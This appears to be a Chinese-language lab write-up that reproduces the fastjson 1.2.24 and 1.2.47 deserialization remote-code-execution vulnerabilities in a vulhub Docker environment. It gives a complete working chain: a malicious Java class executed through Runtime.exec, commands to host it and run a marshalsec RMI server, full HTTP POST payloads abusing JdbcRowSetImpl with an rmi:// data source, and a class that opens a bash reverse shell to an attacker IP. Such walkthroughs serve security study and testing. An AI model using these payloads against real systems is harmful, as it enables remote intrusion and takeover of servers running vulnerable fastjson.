fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
前置知识
今天复现了常见的fastjson
反序列化漏洞,了解该漏洞需要一些前置的知识,这里总结一下:
Fastjson
fastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。
JNDI
JNDI(Java Naming and Directory Interface)
是一个应用程序接口,主要提供查找、访问、命名常见的接口,定位网路、用户、对象和服务一些资源,简单理解就是JNDI
将常用的功能、组件、服务取了名字,然后使用名字来查找使用。
JNDI可以使用RMI
远程对象调用,支持的常见服务有DNS、LDAP、RMI、CORBA
RMI
RMI(远程方法调用Remote Method Invocation),远程调用方法在分布式编程中很常见,主要实现远程方法的调用,其中RMI
是专门给Java环境设计的远程方法调用机制
JDNI注入
通过上述的一些基础前置知识,大概可以了解到JNDI
中有一个服务RMI
可以支持Java远程方法的调用,如果使用rmi调用的远程地址中的方法有一些危险的代码,并没有经过处理,就会导致命令的执行,具体流程图如下。转载:先知社区
地址: https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb%3DbdF5G8%2BneD
漏洞复现
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本为 fastjson < 1.2.25
这里我们使用vulhub
复现该漏洞
cd vulhub/fastjson/1.2.24-rce
sudo docker-compose up -d
环境启动成功
首先我们需要再本地写一个test.java
,内容如下
import java.lang.Runtime;
import java.lang.Process;
public class test{
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch","/tmp/test.txt"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
注意这里需要java8
的环境,可以下载jdk8
环境,然后使用ln -s
配置环境变量
jdk8下载位置: https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html
使用java8
环境的javac
编辑test.java
然后再当前目录使用pyton -m http.server 5623
共享该目录
这个时候我们需要启动一个rmi
服务器,然后这个rmi
服务器会在本机监听,如果有人远程调用test
方法,就会访问python共享的test.class
构建rmi
服务器需要一个marshalsec-0.0.3--SHOT-all.jar
,这里可以直接下载,可以自己构建这个文件
这里我下载的别人的 https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3--SHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.154.138:5623/#test" 8653
上述中#
后面加上test.class
的名称test
即可,后面的端口号为8653
,一会需要使用fastjson
漏洞调用远程请求我们监听的rmi
服务器
最后一步需要构造payload
,如下,手动抓包时注意,需要将GET
更改为POST
,将Content-Type
改为application/json
如下:
POST / HTTP/1.1
Host: 192.168.154.138:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 158
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.1:8653/test",
"autoCommit":true
}
}
这里需要注意rmi
请求的地址为docker服务主机的IP,可能访问不了eth0
网卡的地址,所以使用docker inspect 容器ID
查看docker主机的IP
一般网关就是docker宿主机的IP
虽然返回了500
错误,但是进入服务器可以看到,test.txt
成功创建
可以看到成功请求了我们共享的文件
反弹shell
只需要将test.java
中的命令改为bash
反弹shell指令即可如下
import java.lang.Runtime;
import java.lang.Process;
public class reverse{
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.0.1/4563 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
后续步骤和上述以上,不在详细叙述,步骤如下
先监听本机4563
端口
fast 1.2.47 命令执行
具体原理和1.2.24
一样,payload
有些改变,如下
POST / HTTP/1.1
Host: 192.168.154.138:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 273
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.16.1:8653/reverse",
"autoCommit":true
}
}
反弹shell成功,实验结束.